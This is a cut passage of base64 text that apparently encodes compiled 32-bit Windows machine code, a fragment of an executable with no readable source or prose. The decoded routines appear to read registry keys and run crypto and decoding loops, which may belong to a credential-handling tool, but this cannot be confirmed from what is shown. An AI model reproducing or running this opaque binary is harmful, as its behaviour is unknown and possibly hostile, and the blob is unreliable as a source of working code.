AFbo6a77/4PEDFBouJ0OEOhkcvn/g8QcaAyeDhBT/3UI/3QkIP90JCBRagNW6L6u+/9qA/90JDyL8OiNrvv/g8QUi9aLyOirAgAAi3QkLIPEFFbo7Kr7/1mD+GQPhGH////pSAEAALrong4Q6N8BAACFwA+EUQEAAGoAjUQkHLrwng4QUGoAaIAAAABq/4vP6ITc/f+LdCQsg8QUhcAPhfv+///p9gAAAGoCVugNr/v/WVlQUWoCVugzrvv/g8QMUGoBVuj1rvv/WVlQUWoBVugbrvv/g8QMUGoAVujdrvv/WVlQUWoAVugDrvv/g8QMUGhonw4Q6H5x+f+DxBxqA1boiK77/1lZagBqClJQ6KFzBACNTCQgiUQkIIlUJCToOc35/2oEVuhirvv/WVlqAGoKUlDoe3MEAIlEJCALwolUJCR0FGh8Vg4Q6Cpx+f9ZjUwkIOgEzfn/aFgoDBDoFnH5/8cEJMSfDhBT/3UI/3QkIP90JCBRagVW6HGt+/9qBf90JDyL8OhArfv/g8QUi9aLyOheAQAAi3QkLIPEFFbon6n7/1mD+GQPhPr+//+D+GUPhPv9//9X6JKG//9ZUGggng4Q6eL9//9o2J8OEOilcPn/WesYVlFX6HGG//9ZWVBoiKAOEOiNcPn/g8QMV+grfP//WeggdP//M//rDVBo+KAOEOhvcPn/WVlW/xW4xAsQg3wkEAB0D1f/dCQU/xVcKRIQiXwkEIN8JBQAdBf/dCQU/xVIKRIQ6wtoaKEOEOgzcPn/WV9eM8Bbi+Vdw1FRU1VXM9uNRCQQU1BTi+qL+WiAAAAAav+6aKIOEOim2v3/g8QUhcB1VotMJBAz0kJSU2r/Vegyr/v/g8QQhcB1L/90JBDoqaj7/1mD+GR1EVP/dCQU6L+s+/+FwA+fw+swV+iYhf//WVBosKIOEOscV+iJhf//WVBoKKMOEOsNV+h6hf//WVBoqKMOEOiXb/n/WVn/dCQQ6Mug+/9ZX12Lw1tZWcOD7EhTVVaL2leL+YP7Aw+C/AAAAA+3B7lwvQwQZjsBD4XrAAAAD7ZHAjpBAg+F3gAAAIN8JFwAD4TGAAAAg3wkYAAPhLsAAABoMKQOEOgxb/n/akBdVTP2jUQkIFZQ6NvWAgCNRwOJbCQoiUQkMIPEEI1H8MdEJBwBAAAAA8PHRCQkDAAAAIlEJDCNQ+FQVcdEJDwQAAAAiUQkGP8V1MQLEIv4hf8PhK4AAABWjUQkFFD/dCQYjUQkJFdWVlD/dCQsi0QkQANEJERQ/7QkhAAAAP8VdCkSEIXAeBhX/3QkFP90JHRodKQOEOiVbvn/g8QQ6w1QaIikDhDohW75/1lZV+tQaAClDhDodm75/1nrSTP2jUQkEFZQjUQkHIvPUFZW/3QkfP90JHxW6Gjo//+DxCCFwHQj/3QkFP90JBT/dCR0aHSkDhDoN275/4PEEP90JBT/FbjECxBfXl1bg8RIw2oMaAijERDogYIEAIvyi9kzwIlF5IkGi30IiQeJRfxQUGgAOg0QVv8VVCkSEIXAeHFqAGogaKg7DRBoXFgNEP82/xV4KRIQhcB4JmoAaiBTM9tTU1f/Nv8VbCkSEIXAeAnHReQBAAAA62e5sKUOEOsHuVimDhAz21BR6KNt+f9ZWYM+AHQLU/82/xVcKRIQiR6DPwB0O/83/xVIKRIQiR/rL1Bo6KYOEOh1bfn/Wesgi0XsiwAzyYE4hQQAAA+UwYvBw4tl6GiQpw4Q6FJt+f9Zg038/4tF5ItN8GSJDQAAAABfXlvJw4PsDI1EJARVVleL6jP2UI1UJBDo4835/1mFwA+E0QAAAIN8JBAFi3wkDA+CrgAAAIsHuUS9DBA7AQ+FnwAAAA+2RwQ6QQQPhZIAAABoAKgOEOjlbPn/i1QkFI1EJBhWUI1EJBhQVlb/dCQ0jVL7VVaNTwXo1+b//4PEJIXAdGqDfCQUIHU5aGCoDhDoq2z5/4tMJBBWaiBa6FzH+f9oWCgMEOiUbPn//3QkMItUJDCLTCQc6GH+//+DxBCL8OsTaiD/dCQYaICoDhDobGz5/4PEDP90JAz/FbjECxDrC2gQqQ4Q6FNs+f9ZV/8VuMQLEOsT/xXIxAsQUGiIqQ4Q6Dhs+f9ZWV+Lxl5dg8QMw1WL7IPsDI1F+FNWVzP2i9pWUI1V/OiKTvn/WVmFwA+EhwAAAItV+ItN/OhWxfn/i/iF/3RraECqDhBX6BHMAgCL8FlZhfZ0QIPGOmh8qg4QVuj7ywIAWVmFwHQlaIiqDhDox2v5/4tVCFn/dRSLzv91EP91DOh4/v//g8QMi/DrGGjgqg4Q6wmF23QLaJirDhDol2v5/1kz9lf/FbjECxD/dfz/FbjECxDrF4XbdBP/FcjECxBQaEisDhDobWv5/1lZX4vGXlvJw1WL7FFRU1ZXM/+L2oXJdHJR6AARAwCL8FmF9nRlalxW6PjJAgBZWYXAdFAzyWpcVmaJCOjlyQIAWVmFwHQ9M8lWZokIjUX8aOSsDhBQ6LHO+f+DxAyFwHQi/3UQi038M9L/dQz/dQhT6Mr+//+DxBCL+P91/P8VuMQLEFbo9hADAFmLx19eW8nDg+wgi1QkKI0EJItMJCRTVTPtVVBoBLQNEIlsJBzow8f5/4PEDIXAdA+LVCQIjUwkEOjUyfn/60SNRCQUM9JQVTPJ6DmH+f9ZWYXAD4TpAQAAVY1EJBS6AgAAgFBRi0wkIGgErQ4QaBCtDhDoN5H5/4tMJCiDxBToJYj5/4tcJBCF2w+EsgEAAFZXU2hIrQ4Q6EZq+f+LVCRAjUQkGItMJDxVUGhEfQ4Q6DjH+f+LNbjECxCDxBSFwA+EagEAAP90JBBogK0OEOgPavn/WVnosNb5/4v4hf8PhFYBAACLVCQQi8/oCdf5/4XAD4QwAQAAiweNTCQgUWi4rQ4QV/+QlAAAAIXAD4UVAQAAi0wkIIXJD4QJAQAAutCtDhDoUtf5/4vohe0PhPUAAABVaNitDhDopWn5/1NodL0MEFWNRCQoaOytDhBQ6IjN+f+DxByDfCQUAA+EwwAAAItEJCCNVCQkUlCLCP9RaIXAD4WmAAAAi0wkJI1EJChQjVQkHOgYyvn/WYXAD4SBAAAAagCNRCQwUI1EJCRQ/3QkIP8V4MMLEItUJDSLTCQkUP90JCT/dCRM/3QkTGoA6DHj//+DxCCFwHRIi0QkLI1MJBiLVCQc0ehQ6O7H+f9ZhcB0KWgAABAAagBqAP90JCT/FYTGCxD/dCQYaPStDhDo3Gj5/1lZ/3QkGP/W/3QkHP/W/3QkJP8VQMULEP90JBT/1lX/1osHV/9QCOsLaCCuDhDoqWj5/1lT/9ZfXusLaBCvDhDol2j5/1ldM8Bbg8Qgw4PsXFOLXCRojUQkGFWLbCRoi9NWVzP/M/YhdCQoi81XUGi8rw4QiXwkOOhpxfn/g8QMhcB0H4tMJCSNVCQ0ahjoO8L5/1mFwHUYaNCvDhDoOmj5/1lqGI1EJDhQ/xUsyAsQaMSwDhCNRCQoi9NQaPywDhCLzegexfn/i0wkMIPEDOihwfn/iUQkGIXAD4Q3BAAAUP8V4MMLEP90JBiJRCQoUGgIsQ4Q6OJn+f9qAGoYWo1MJEToksL5/2hYKAwQ6Mpn+f9qAI1EJDSL01BoSLEOEIvN6L/E+f+DxCCFwA+EaQIAAP90JBz/FYDECxCD+EB1XYtMJByNRCQUUI1UJBTo5sH5/1mFwHQ3aGCxDhDoemf5/4tUJBiLTCQUagDoKcL5/2hYKAwQ6GFn+f9ZWY1EJFBQ/3QkHP90JBzprgEAAGi4sQ4Q6ENn+f/p0QEAAP90JBz/FYDECxCLTCQcPWQBAAB1e41EJBRQjVQkFOh4wfn/WYXAdMlqAI1EJDCL01BoTLIOEIvN6AvE+f+DxAyFwHRA/3QkLGhgsg4Q6Oxm+f+LVCQci0wkGGoA6JvB+f9oWCgMEOjTZvn/g8QMjUQkUFD/dCQc/3QkHP90JDzp0gAAAGjgsg4Q6LBm+f/rcY1EJChQjVQkMOi5x/n/WYXAD4QcAQAAi1QkKI1EJBSLfCQsM8lRUI1EJBhQUVFTVVGNUviNTwjohuD//4PEIIXAD4RqAQAAaKSzDhDoXWb5/4tHBFmD6AEPhIAAAACD6AF0FP93BGhwtA4Q6D5m+f9ZWemwAAAAi0QkEI1wDItABFbR6FBoALQOEOgfZvn/i1QkHGoAjUoMA0oEi1II6MnA+f9oWCgMEOgBZvn/i0wkJI1EJGCDxBBQi0EE/3EIg8AMA8FQVotUJDiNRCRIUYtMJDBQ6GIX+f+DxBzrR2jAsw4Q6MZl+f+LdCQUi86LVCQYagDoc8D5/2hYKAwQ6Ktl+f9ZWY1EJFBQ/3QkHFaLVCQ0jUQkRFGLTCQsUOiSFfn/g8QYi/D/dCQQ/xW4xAsQ6w9oGLUOEOhxZfn/i3wkMFmF9nRraKC3DhDoXmX5/2oAaiBajUwkVOgOwPn/aFgoDBDoRmX5/4PEDOtEagCNRCQwi9NQaKi1DhCLzeg2wvn/g8QMhcB0HYtMJCyNVCRMaiDoCL/5/4vwWYX2dadowLUOEOsFaJi2DhDo/mT5/1lqAI1EJDCL01BovLcOEIvN6PLB+f+DxAyFwA+EDQEAAGoAjUQkIIvTUGjEtw4Qi83o0sH5/4PEDIXAdBJqAGoA/3QkJOjSJgMAg8QM6xyNRCQcUP8V0MMLEItEJBy5gJaYAAUAgMEqmff5UGjMtw4QiUQkOOiEZPn/WVmF9nREaPC3DhDodGT5/2oAagBqII1EJFxQjUQkRFD/dCREjUwkUOiuAgAAi/CDxByF9nQUVmgguA4Q6ENk+f9ZWVb/FbjECxCF/3Rxg3wkKAB0X2oAagBojLgOEIvTi83oJ8H5/4PEDIXAdEZolLgOEOgMZPn//3QkKI1EJDj/dCQgjUwkQP90JDRXUP90JEToRAIAAIvwg8QchfZ0FFZoILgOEOjZY/n/WVlW/xW4xAsQhf90B1f/FbjECxBfXl0zwFuDxFzDU1ZXi9lT/xXgwwsQi/gz9ovXi8aF/3QYigwYgPkidAqA+S90BYD5XHUBR0A7wnLojUcBUGpA/xXUxAsQi8iFyXQihf90HooDPCJ0CDwvdAQ8XHUHxgQOXEaKA0OIBA5GO/dy4l9ei8Fbw1VXi+lV/xXgwwsQi/iNVwFSakD/FdTECxCL0IXSdCNWM/aF/3QbU4vagDwuXI1OAQ9FzooEKY1xAYgDQzv3culbXl+Lwl3DVYvsg+wMU41F9IvKUGoYM9taiV346F7F+f9ZhcB0W4tN9FZX6Cb///+LNbjECxCL+IX/dD5XaCC5DhCNRfxoyLgOEFDousb5/4PEEIXAdCCNRfhQ/3X8/xXgwwsQi038i9DoeMX5/1n/dfz/1otd+Ff/1v919P/WX16Lw1vJw4PsGFNVM9uJXCQUVovxhdJ0CIsqiWwkFOsgjUQkHFD/FdDDCxCLRCQcuYCWmAAFAIDBKpn3+YlEJBSNRCQQi85QjVQkIOhaw/n/WYXAD4SGAAAAi0QkEFdAUGpA/xXUxAsQizW4xAsQi/iF/3Rk/3QkFP90JCRX6MrPAgCDxAyLz+hK/v//i+iF7XRD/3QkGI1EJBRVaOS4DhBQ6OTF+f+DxBCFwHQljUQkHFD/dCQU/xXgwwsQi0wkFIvQ6J/E+f9Z/3QkEP/Wi1wkHFX/1lf/1v90JCD/1l9eXYvDW4PEGMOD7DSDZCQMAFVXi/lRi9foi/7//4voWYXtD4QSAQAAi1QkRItMJEBTVujw/v//ix24xAsQi/CJdCQYhfYPhOoAAABWVY1EJBho5BMOEFDoT8X5/4PEEIXAD4TLAAAAg3wkWAB0X4N8JFwAdFiNRCQgUI1EJBhQ/3QkGP8V4MMLEItUJFyLTCRYUP90JBxqGFf/dCR0/3QkdOhtFfn/g8QghcB0f4N8JCAgdXiLdCQUjXwkJGoIWf90JBTzpf/Ti3QkGOspUY1EJChQ/3QkGP8V4MMLEItUJFyLTCRYUP90JBzo4hP5/4PEEIXAdDaNRCQYUGogWo1MJCjogMP5/1mFwHQg/3QkGI1EJCD/dCQUaOQTDhBQ6IjE+f+DxBD/dCQY/9P/dCQQ/9NW/9NV/9NeW4tEJBRfXYPENMNTVleL+ovZjUcBUGpA/xXUxAsQi/CF9nQxV1NW6AjOAgCDxAyLzujy/P//ix24xAsQi/iF/3QQV2jsfw0Q6Cxg+f9ZWVf/01b/019eW8NVi+xRUVNWV4vZi/JTVmgouQ4Q6Ahg+f+DxAyNRgFQakD/FdTECxCL+IX/dF9WU1fops0CAGouV+h+wgIAix24xAsQi/CDxBSF9nQ9RmouVuhmwgIAWVmFwHQuxgAAjVX8jUX4i85Q6FrB+f9ZhcB0GP91/P91+GhIuQ4Q6J9f+f+DxAz/dfz/01f/019eW8nDg+xAUVGNRCQUiVQkOItUJFBQjUQkDIlMJEBQjUQkMFBRM8BQUFGLTCRoUFDofn/5/4PELIXAD4TTAQAAiwQkQFaLNdTECxBXiUQkCI0ERQIAAABQakD/1ov4iXwkIIX/D4SnAQAAU1X/dCQcakD/1osduMQLEIvoiWwkTIXtD4SEAQAAM/aLzol0JCw5TCQwD4ZvAQAAi0QkEItUJFiJRCQ4i0QkHIlEJDSNRCQ0UFWNRCQsUFGNRCRIUFdRi0wkcOiPg/n/g8QchcAPhCEBAABXaGi5DhDos175/4N8JCwHWVkPhSoBAACL/Yl0JDxmOXUAD4T1AAAAi+5qAmh4uQ4QV+j1mAMAg8QMhcAPhcEAAACNRCRIUI1PBI1UJCToK7/5/1mFwA+EpwAAAItUJEiNRCQUi0wkIFZQjUQkIFBqEGicvQwQ/3QkVP90JFxW6E7Y//+DxCCFwHRxi8UrxnRMg+gBdCtVaKC5DhDoHV75/4t0JCCLzotUJBxqAejKuPn/aFgoDBDoAl75/4PEEOs2aJC5DhDo8135/4t0JByLVCQYWYvO6HX9///rGmiAuQ4Q6Ndd+f+LdCQci1QkGFmLzuin/f//Vv/TM/b/dCQgRf/TV/8VgMQLEI08R4PHAmY5Nw+FEf///4tsJEyLfCQoi0wkLEGJTCQsO0wkMA+Ckf7//1X/01f/011bX16DxEDD/3QkJGj4uQ4Q6G5d+f9ZWevNg+wYjUQkEDPSM8lWUDP2Vuj6efn/WVmFwA+EJQEAAFVXi3wkHI1EJAxQvRkAAgC6AQAAgFVRaGC6DhCLz+g4e/n/g8QQhcAPhNsAAABRi1QkEI1EJBRRVlZWUVCNRCQ0UFFWVovP6B99+f+DxCyFwA+EpQAAAItEJBBAU4lEJBSNBEUCAAAAUGpA/xXUxAsQi9iF2w+EgAAAADl0JBx2c4tEJBSD7BCLVCQgi8+JRCQ0jUQkNFBTVug1gPn/g8QchcB0SFNWaMy6DhDomlz5/4tUJByNRCQkg8QMUFVRU4vP6JR6+f+DxBCFwHQf/3QkGItUJDSLTCQwV+jc/P//i1QkIFlZi8/o/IL5/0Y7dCQcco1T/xW4xAsQW4tUJAyLz+jigvn/6xP/FcjECxBQaOC6DhDoMVz5/1lZi8/o7nn5/19dM8Beg8QYw4tUJAiNRCT0i0wkBIPsEFYz9lZQaER9DhDoC7n5/4PEDIXAD4SAAQAAi0wkCI1EJARWUI1UJBToWj75/1lZhcAPhE8BAACDfCQEFA+CYwEAAFNVi2wkFLpgNgwQV4vOi0SNBDsEinULQYP5BHXxM/9H6wKL/oX/jV0MD0XdM8mL0+iuHPn/i1QkEIX/dQOLVQS5vLsOEIX/uHi7DhAPRMGLy1CNRCQgUI1EJBxQVlb/dCQ8/3QkPFbodtX//4PEIIXAD4TBAAAAi1wkFIvLhf90Sein5fj/i/iF/w+EoQAAAIvX6Jnm+P85dwh2JYtHDP90JCj/dCQoiwyw/3FIi1FMi0ks6DkEAACDxAxGO3cIctuLz+jm5fj/62foi+D4/4v4hf90XIvX6M7h+P+LVCQoi0wkJFZWaOy7DhDo6Lf5/4PEDIXAdBqLT1wz0lbo6HsCAMcEJFgoDBDowFr5/1nrGf90JCiLV1z/dCQoi080/3dY6MoDAACDxAyLz+gU4fj/U/8VuMQLEFX/FbjECxBfXVvrH/8VyMQLEFBoALwOEOh5Wvn/WesKaHi8DhDobFr5/1kzwF6DxBDDi1QkCI1EJLSLTCQEg+xkVzP/V1BobHoOEOhQt/n/g8QMhcAPhEwDAACLTCQcjUQkLFdQjVQkKOifPPn/WVmFwA+EGwMAAItMJCBVVuhj6vj/izW4xAsQi+iF7Q+E9gIAAIvV6Fbs+P+LVCR4jUQkIItMJHRXUGj0vA4Q6O62+f+DxAyFwA+ExQIAAItMJCCNRCQ4V1CNVCQs6D08+f9ZWYXAD4SVAgAAi0wkJFPoyef4/4vYhdsPhHgCAACL0+hA6Pj/i0ssjUQkQGgEvQ4QUI1EJCyLUSCLSSRQV1f/tCSQAAAA/7QkkAAAAFfoh9P//4PEIIXAD4QVAgAAi0wkJI1EJFRQjUQkSFDoAun4/1lZhcAPhPIBAABoOL0OEOhBWfn/V2oQWo1MJEzo8rP5/2hYKAwQ6CpZ+f9oWL0OEOggWfn/V2ogWo1MJGjo0bP5/2hkZA0Q6AlZ+f+DxBiNRCQgaAAAAPBqGFdXUP8VPMALEIXAD4SRAQAAi8+JfCQcOX00D4Z3AQAAi0U4izyIhf8PhFkBAAD/N2h4vQ4Q6MFY+f+DfxQAWVkPhDIBAACLRxCJRCQUhcAPhCMBAABQakD/FdTECxCJRCQQhcAPhA4BAAD/dCQU/3cUUOg/xgIAi1QkLI1EJEBQjUQkQIvPUI1EJGhQjUQkXFDoOgMAAIPEHIXAD4TRAAAAjUQkFFD/dCQUagBqAWoA/3QkRP8VLMALEIXAD4SdAAAAg3wkNAB0FItUJBSLTCQQagDo4bL5/+mUAAAAaFgoDBDoFFj5/4M/AFl0GoM/ZHQVi1QkFItMJBBoAQAQAOi1svn/WetMi0wkEOgi7Pj/i/iF/3Q9i9folOz4/4tHDIXAdCwzyYlMJBg5TwR2HotHDIsUiIXSdApS/9aLRwyLTCQYQYlMJBg7TwRy4lD/1lf/1mhYKAwQ6J5X+f/rEv8VyMQLEFBooL0OEOiLV/n/WVn/dCQQ/9ZoWCgMEOh5V/n/WYtMJBxBiUwkHDtNNA+Ci/7//zP/V/90JCT/FQDACxD/dCQk/9aDexgAdAX/cxj/1ot7LIX/dA6DfyQAdAX/dyT/1lf/1lP/1v90JCj/1lvrE/8VyMQLEFBoCL4OEOgWV/n/WVmLzejz6Pj//3QkKP/WXl3rH/8VyMQLEFBokL4OEOjyVvn/WesKaBi/DhDo5Vb5/1kzwF+DxGTDUVFTVleL8Yv6aJi/DhBW6O22AgBZWYXAD4SNAAAAi1QkGIP6FA+CgQEAADP2u2A2DBCLzotEjwQ7BIsPhWsBAABBg/kEde1owL8OEI1EJBSLz1CNRCQUUGpKaCguDBD/dCQ0/3QkNFbohND//4PEIIXAD4Q0AQAAaPi/DhDoW1b5/4tUJBSLTCQQ6Nyu+f/HBCRYKAwQ6EJW+f9Z/3QkDP8VuMQLEOkBAQAAaCDADhBW6Eu2AgBZWYXAD4TsAAAAaEjADhDoE1b5/4N8JBwUWQ+C1gAAADP2upzADhCLzg+2BAo6BA8PhcAAAABBg/kMde2LVwyLHbjECxBVvVgoDBCF0nROaMC/DhCNRCQYUI1EJBhQVlb/dCQ4jU8U/3QkOFboys///4PEIIXAdCVo+L8OEOilVfn/i1QkGItMJBToJq75/1XoklX5/1lZ/3QkEP/Ti1cQhdJ0UWjAvw4QjUQkGFCNRCQYUFZW/3QkOI1PFP90JDgDTwxW6HLP//+DxCCFwHQlaKjADhDoTVX5/4tUJBiLTCQU6M6t+f9V6DpV+f9ZWf90JBD/011fXltZWcNRU1VWi/Ez20NXi/qJXCQQgz4AdAmDPmRzBIvL6wIzyYtEJCSL0TPTi1wkIGoAU4kIjUIBweAEjRRVDmYAAGoAUItEJCiFyYvPD0REJCxQ6MHr+P+L6IPEFIXtdCqLPRTACxCNRCQQagBQagT/M//Xg34YAHQRg34cAHQLagD/dhxqAf8z/9dfXovFXVtZw4PsII1EJBBTi1wkLIvTVYtsJCyLzWoAUGhEfQ4Q6ISx+f+DxAyFwA+EbgIAAItMJBiNRCQkagBQjVQkJOjSNvn/WVmFwA+EPAIAAItMJBxWV+iyPPn/iz24xAsQi/CF9g+EFwIAAIvW6Nw9+f+LViCNRCQUi044aNDADhBQjUQkGFBqEWggwQ4QU1VqAOgezv//g8QghcB0IotUJBSLTCQQagDosq75/8cEJFgoDBDo6FP5/1n/dCQQ/9eLVhCNRCQUi040aDjBDhBQjUQkGFAzwFBQU1VQ6NTN//+DxCCFwA+EjQAAAItUJBSLTCQQagDoZK75/8cEJFgoDBDomlP5/4tWDI1EJCCLTjBQjUQkKFCNRCQkUGgAJAAA/3QkKP90JCjo/T75/4PEHIXAdD6LTijooKz5/4lEJCiFwHQoi1QkIFFqAVBRi0wkKGiEwQ4Q/3QkMGoCagDoFXQAAIPEIP90JCj/1/90JBj/1/90JBD/14tWJI1EJBSLTkRoqMEOEFCNRCQYUGoRaCDBDhBTVWoA6BfN//+DxCCFwHQii1QkFItMJBBqAOirrfn/xwQkWCgMEOjhUvn/Wf90JBD/14tWGI1EJBSLTkBo+MEOEFCNRCQYUDPAUFBTVVDozcz//4PEIIXAD4SIAAAAi1QkFItMJBBqAOhdrfn/xwQkWCgMEOiTUvn/i1YUjUQkIItOPFCNRCQoUI1EJCRQaACkAAD/dCQo/3QkKOj2Pfn/g8QchcB0OYtOKOiZq/n/i9iF23Qli1QkIFFqAVNRi0wkKGhEwg4Q/3QkMGoBagDoEHMAAIPEIFP/1/90JBj/1/90JBD/14vO6GA7+f//dCQk/9dfXusf/xXIxAsQUGhowg4Q6ARS+f9Z6wpo6MIOEOj3Ufn/WV0zwFuDxCDDUVNVi+oz24vBiUQkCFeL+4XtdDdWizS4g34MFnIgahb/dhRohMMOEOioVgQAg8QMhcB1BoN+EAR0C4tEJBBHO/1y0usFi0YYixheX12Lw1tZw4tUJAiNRCT0i0wkBIPsGFVXM+1VUGhEfQ4Qi/3oha75/4PEDIXAD4SZAQAAi0wkFI1EJBxVUI1UJCDo1DP5/1lZhcAPhGgBAACLTCQYU1boKT75/4sduMQLEIvwhfYPhEMBAACL1uj1Pvn/i1YUjUQkFItOOGigww4QUI1EJBhQahFo4MMOEP90JET/dCREVegby///g8QghcB0T4tUJBSNRCQYi0wkEFCNRCQgUOjEQPn/WVmFwHQs/3QkGItUJCAzyegTQvn/i1QkHFmLTCQc6Nj+//+LVCQYi/iLTCQc6KZB+f//dCQQ/9OLVhiNRCQUi048aPTDDhBQjUQkGFBqEWgoxA4Q/3QkRP90JERV6JvK//+DxCCFwA+EgAAAAIX/i3wkEFV0GY1PBDPS6IVxAgDHBCRYKAwQ6F1Q+f9Z61uLVCQYi8/oDav5/8cEJFgoDBDoQ1D5/4tGCFmDwAJQakD/FdTECxCL6IXtdC7/dgj/dixV6Ny9AgCLVCQgWVlqAVVRaIh8DhBqAGr/agGLz+jdcAAAg8QgVf/TV//Ti87ocT35//90JCD/015b6x//FcjECxBQaEDEDhDo2k/5/1nrCmjAxA4Q6M1P+f9ZXzPAXYPEGMNVi+yLVQyNRfyLTQiD7BBqAFBoRH0OEOiyrPn/g8QMhcAPhEYBAACLTfyNRfhqAFCNVfToAzL5/1lZhcAPhBcBAACLRfhWV4t99IP4CA+G8AAAALlQS1NQOQ8PhdwAAAA5TAf8D4XSAAAAjXcEiwY7wQ+E1wAAAFNQaFjFDhDoQU/5/4sGjV4IWVktAwAAAXRNLf3//wB0OIPoBHQlaCDGDhDoHU/5/4tWBIvLagDoz6n5/2hYKAwQ6AdP+f+DxAzrYotGBFPR6FBo/MUOEOvoi0YEU9HoUGjAxQ4Q69poaMUOEOjcTvn/i1YEjUXwxwQklMUOEIvLUI1F/FAzwFBQ/3UM/3UIUOjMyP//g8QghcB0EYtN/OhhAAAA/3X8/xW4xAsQi0YEg8AIA/CLBj1QS1NQD4U/////W+sSaDjGDhDrBWiQxg4Q6HdO+f9ZV/8VuMQLEF9e6x//FcjECxBQaODGDhDoWk75/1nrCmhgxw4Q6E1O+f9ZM8DJw1NWi/FXgT5QQ1BND4WWAQAAi34EjRw3g/8UD4Q+AQAAg/80dBSD/zh0D2jgyg4Q6BRO+f/pewEAALnIyA4Qg/80uFjwDBBVD0XBUGjQyA4Q6PNN+f//dghoLMgOEOjmTfn//3YMaGTIDhDo2U35/2gUyQ4Q6M9N+f+LVhAz7VWLy+iAqPn/A14QaEDJDhDotU35/4tWFIvLVehoqPn/A14UaGzJDhDonU35/4tWGIvLVehQqPn/A14YaJjJDhDohU35/4tWHIvLVeg4qPn/A14caMTJDhDobU35/4tWIIvLVeggqPn/A14gg8RAaPDJDhDoUk35/4tWJIvLVegFqPn/A14kaBzKDhDoOk35/4tWKIvLVejtp/n/A14oaEjKDhDoIk35/4tWLIvLVejVp/n/A14saHTKDhDoCk35/4tWMIvLVei9p/n/g8Qgg/80XXRjD7dGNFBooMoOEOtQaPDHDhDo4Ez5//92CGgsyA4Q6NNM+f//dgxoZMgOEOjGTPn/aJzIDhDovEz5/4tWEIvLagDobqf5/2hYKAwQ6KZM+f+DxCDrDv82aGDLDhDolUz5/1lZX15bw1WL7FFRU4tdCI1F/FZXi30MM/ZWUGjcyw4Qi9eJdfyLy+hzqfn/g8QMhcB0P4tN/Ojzpfn/i/CF9g+EBAEAAIvO6D0EAACLHbjECxCL+IX/dBJXVmjwyw4Q6DFM+f+DxAxX/9NW/9Pp1wAAAFaNRfyL11BoaMwOEIvL6Bqp+f+DxAyFwHRlVlZqA1ZqAWgAAACA/3X8/xXQxAsQg/j/dDaNVfwzyVJWi9BB6IVo+f9ZWYXAdBaLTfwz0ldT6IkAAABZWYtN/OiKafn//3X8/xXAxAsQ623/FcjECxBQaHjMDhDoqEv5/1lZ61iNRfwz0lBWM8noO2j5/1lZhcB0RIt1/I1F+FBoGQACAFFo/MwOELoCAACAi87ogmn5/4PEEIXAdBiLVfiLzldT6BoAAACLVfhZWYvO6PFx+f+LzugSafn/X14zwFvJw1WL7IPk+IPsLI1EJARTVldQaBkBAgBRaBDNDhCL8egyafn/g8QQhcAPhGQBAABRi1QkFI1EJBhRM9tTU1NRUI1EJDhQUVNTi87oF2v5/4PELIXAD4QbAQAAi0QkFECJRCQUjQRFAgAAAFBqQP8V1MQLEIv4hf8PhAsBAAA5XCQcD4blAAAAi0QkFIPsEItUJCCLzolEJDCNRCQwUFdT6Cpu+f+DxByFwA+EsgAAAFdoRM0OEOiMSvn/WVmLz+gcpPn/iUQkJIXAD4SSAAAAjVQkKIvI6AICAABqAGoQWo1MJCzoHKX5/8cEJFjNDhDoUkr5/4tUJBSNRCQcWVBoGQACAFFXi87oSmj5/4PEEIXAdDFoWCgMEOgpSvn/i1QkHI1EJCxZ/3UMi87/dQhQ6GYAAACLVCQkg8QMi87oonD5/+sT/xXIxAsQUGhgzQ4Q6PFJ+f9ZWf90JCT/FbjECxBDO1wkHA+CG////1f/FbjECxDrE/8VyMQLEFBoEM4OEOjASfn/WVmLVCQQi87oUXD5/19eW4vlXcOD7ChTVVZXUVGLwolMJDiNVCQciUQkNFKNVCQcM+1SjVQkNFJRVVVRVVWL0Oibafn/g8QshcAPhP4AAACLRCQQizXUxAsQQIlEJBCNBEUCAAAAUGpA/9aL+IX/D4TZAAAA/3QkFGpA/9aLNbjECxCL2IXbD4S+AAAAOWwkJA+GsQAAAItEJBCLVCQsiUQkKItEJBSJRCQYjUQkGFBTjUQkKFBRi0wkQI1EJDhQV1Xov235/4PEHIXAdG9XaGi5DhDo50j5/4N8JCgDWVl1S4tUJBiNRCQ0agBQjUQkJIvLUGoQ/3QkTP90JFj/dCRYagDoy8L//4PEIIXAdC3/dCQc/3QkOGjEzg4Q6J5I+f+DxAz/dCQc/9brEP90JCBo8M4OEOiFSPn/WVlFO2wkJA+CT////1P/1lf/1l9eXVuDxCjDg+xsU1VWV4v5i9pX/xXgwwsQi+iNRCQQUP8VHMgLEL62BQAAVVeNRCQYUP8VIMgLEIPuAXXujUQkEFD/FSTICxAzyYqB4L0MEDJEDGiIBBlBg/kQcu1fXl1bg8Rsw1OLHeDDCxBWV4v5V//TahReO8Z9BVf/04vwjUYBUGpA/xXUxAsQi9CF0nQqM8mF9nQkuLC9DBCL2iv4K9iKhA+wvQwQMoGwvQwQiIQLsL0MEEE7znLnX16LwlvDVYvsUVGLVQyNRfiLTQhWagBQaER9DhDonqT5/4PEDIXAD4SxAAAA6Cy0+f+L8IX2D4StAAAAi1X4i87ohrT5/4XAD4SIAAAAiwaNTfxRaJTPDhBW/5CUAAAAhcB1PYtN/IXJdDa6sM8OEOh5AAAAhcB1GItN/LoE0A4Q6GgAAACFwHUHaEDQDhDrP/91DItVCItN/OgvAgAA6zSLBo1N/FFo6NAOEFb/kJQAAACFwHUUi038hcl0Df91DItVCOgaAQAA6wpoANEOEOjhRvn/WYsGVv9QCOsLaJDRDhDozkb5/1kzwF7Jw1WL7IsBg+wYU1ZXi9oz9o1V7FJoDNIOEFH/kJQAAACFwA+FvAAAAItN7IXJD4SxAAAAiwGNVfhSaBTSDhBR/5CQAAAAhcAPhZAAAACLTfiFyQ+EhQAAAIsBjVXwUlH/UCCFwA+FhQAAAIv+OXXwfn6F9nV6i0X4jVX8UldQiwj/URyFwHVOi038hcl0R4sBjVXoUlH/UCiFwHUwg33oAXUqi0X8jVX0UlCLCP9RaIXAdRlT/3X06CXsAgBZ99hZ/3X0G/ZG/xVAxQsQi0X8UIsI/1EIRzt98HyW6xJoGNIOEOsFaKDSDhDo20X5/1lfi8ZeW8nDg+wUVVeL+YvqjUwkCFFXiwf/UByFwA+FyQAAAFZoHNMOEP90JBDowOsCAFn32Fn/dCQMG/ZG/xVAxQsQiw+NRCQMUFf/UWiFwA+FlQAAAIX2dHeLTCQMjUQkGFCNVCQU6Muf+f9ZhcB0cItUJBAzyehzBvn/i1QkGI1EJBwzyVFQjUQkHFBRUf90JDhVUYtMJDDoUL///4s1uMQLEIPEIIXAdB6LRCQc/3QkFNHoUGgk0w4Q6BpF+f+DxAz/dCQU/9b/dCQQ/9brEP90J